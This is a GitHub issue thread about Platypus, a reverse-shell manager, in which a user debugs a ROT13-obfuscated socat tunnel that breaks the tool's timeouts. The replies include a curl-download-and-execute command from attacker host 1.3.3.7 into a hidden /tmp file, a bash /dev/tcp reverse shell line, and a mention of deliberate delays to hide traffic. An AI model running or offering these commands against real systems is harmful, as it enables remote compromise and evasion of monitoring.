ROT13 big issue

[G0ne]

Description

Describe your problem here

First of all: I REALLY love this tool!

The tool has a big issue with ROT13 encoding while gathering info from the target, which prevents from identifying the system and so the use of the core upload/ download functions. Can you please take a look into it? It just blocks the core functions.

Reproduce

1. any tool using ROT13 to decode the incoming commands and to encode the output of the commands
2. socat to act as a proxy: socat tcp-listen:10000,bind=127.0.0.1,fork,reuseaddr 'system:"stdbuf -o0 tr a-zA-Z n-za-mN-ZA-M | socat - tcp:localhost:10001 | stdbuf -o0 tr a-zA-Z n-za-mN-ZA-M"'
3. go run platypus.go
4. Run 127.0.0.1 10001 ...

Expected behavior

output/ input correctly handled for the commands ran from the tool itself ( uname, etc etc.. )

Current behavior

output/ input not correctly handled ran from the tool itself ( uname, etc etc.. )

Screenshots/Terminal log

Environments

• OS: Linux kali 5.10.0-kali2-amd64 #1 SMP Debian 5.10.9-1kali1 (2021-01-22) x86_64 GNU/Linux
• Version: 1.5.0

[WangYihang]

Thanks for reporting! I will check it out soon.

[G0ne]

Thanks to you for creating such an awesome project!

Maybe a part of the problem is the timeout too short ( its 1 second here https://github.com/WangYihang/Platypus/blob/master/internal/context/client.go ). Maybe increasing it to for example 10 secs would help

I tried a simple TLS connection ( the data inside is not ROT13 encoded ) too and the issue is here too:

[G0ne]

This is what, in the second test, ncat receives:

[WangYihang]

By the way, if you JUST want to encrypt the communication between Platypus and the victim, the better choice is to use the Upgrade platypus_ip 13337 command once the session is established (or the equivalent command to create your reverse shell is curl -fsSL http://1.3.3.7:13339/termite/1.3.3.7:13337 -o /tmp/.H0Z9 && chmod +x /tmp/.H0Z9 && /tmp/.H0Z9), which is more stable and fluent.

[G0ne]

The software I coded to get the reverse shell already use TLS or ROT13 ( it depends on the flags ), but thanks for your info!(:

[WangYihang]

Got it, I will try to reproduce the issue you mentioned soon.

[G0ne]

I coded that software because initially, when you posted Platypus here did not support encryption, and the stdin/ stderr of ncat sucks a bit, so I had to get my hands dirty. Yes, you have a big fan here(;

[WangYihang]

For encryption via ROT 13, I think you need the socat process running on both attacker and the victim side.

Attacker (1.3.3.7) side

Setup the encrypted tunnel

socat tcp-listen:10000,bind=0.0.0.0,fork,reuseaddr 'system:"stdbuf -o0 tr a-zA-Z n-za-mN-ZA-M | socat - tcp:127.0.0.1:13338 | stdbuf -o0 tr a-zA-Z n-za-mN-ZA-M"'

Start platypus (Listening on tcp port 13337)

./Platypus

Victim side

Setup the encrypted tunnel

socat tcp-listen:10000,bind=127.0.0.1,fork,reuseaddr 'system:"stdbuf -o0 tr a-zA-Z n-za-mN-ZA-M | socat - tcp:1.3.3.7:10000 | stdbuf -o0 tr a-zA-Z n-za-mN-ZA-M"'

Create the reverse shell

bash -c "bash -i >/dev/tcp/127.0.0.1/10000 0>&1"

Come back to Platypus

tcpdump result

As you can see, the data stream is encrypted in both directions.

[WangYihang]

So... It's hard to say that is a bug of platypus... I guess so? Because the data received (which is the output of the commands executed) in platypus is rot13 encrypted which is insensible to platypus.

[G0ne]

OK, I found the issue after a deep analysis. After each input ( stdin data ) the tool I coded sleep a few seconds to hide suspicious traffic, and this causes the timeout of Platypus, which then causes the OS to not get recognized, and so on... So I have to change the code on https://github.com/WangYihang/Platypus/blob/master/internal/context/client.go ( the timeout part, as one of suspected problems ) to more seconds than 1, at least 10 secs ahah By the way, thanks for your time and tests, even if the problem is not of Platypus!

[G0ne]

What about if you let customize the timeouts related to client.go during the execution of Platypus? Like "run 127.0.0.1 10000" "set timeout 10" // default value 1

So if someone else like me has different "necessities", or there is any latency issue, there will be no need to recompile everytime the entire project to change just the seconds, especially for those who use the pre-compiled file